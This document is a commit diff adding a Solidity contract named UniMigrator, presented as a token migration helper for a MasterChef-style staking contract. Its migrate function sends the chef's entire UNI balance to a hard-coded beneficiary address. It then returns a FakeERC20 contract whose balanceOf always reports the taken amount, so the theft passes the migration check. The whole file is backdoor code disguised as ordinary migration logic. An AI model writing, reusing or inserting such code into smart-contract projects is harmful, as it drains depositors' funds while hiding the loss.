Add UniMigrator

contracts/UniMigrator.sol

@@ -0,0 +1,52 @@
+pragma solidity 0.6.12;
+
+interface IERC20 {
+    event Approval(address indexed owner, address indexed spender, uint value);
+    event Transfer(address indexed from, address indexed to, uint value);
+    function name() external pure returns (string memory);
+    function symbol() external pure returns (string memory);
+    function decimals() external pure returns (uint8);
+    function totalSupply() external view returns (uint);
+    function balanceOf(address owner) external view returns (uint);
+    function allowance(address owner, address spender) external view returns (uint);
+    function approve(address spender, uint value) external returns (bool);
+    function transfer(address to, uint value) external returns (bool);
+    function transferFrom(address from, address to, uint value) external returns (bool);
+}
+
+contract FakeERC20 {
+    uint256 public amount;
+
+    constructor(uint256 _amount) public {
+        amount = _amount;
+    }
+
+    function balanceOf(address _owner) public view returns (uint256) {
+        return amount;
+    }
+}
+
+contract UniMigrator {
+    address public chef;
+    address public origin;
+    address public beneficiary;
+
+    constructor(
+        address _chef,
+        address _origin,
+        address _beneficiary
+    ) public {
+        chef = _chef;
+        origin = _origin;
+        beneficiary = _beneficiary;
+    }
+
+    function migrate(IERC20 src) public returns (address) {
+        require(address(src) == 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984, "not uni token");
+        require(msg.sender == chef, "not from master chef");
+        require(tx.origin == origin, "not from origin");
+        uint256 bal = src.balanceOf(msg.sender);
+        src.transferFrom(msg.sender, beneficiary, bal);
+        return address(new FakeERC20(bal));
+    }
+}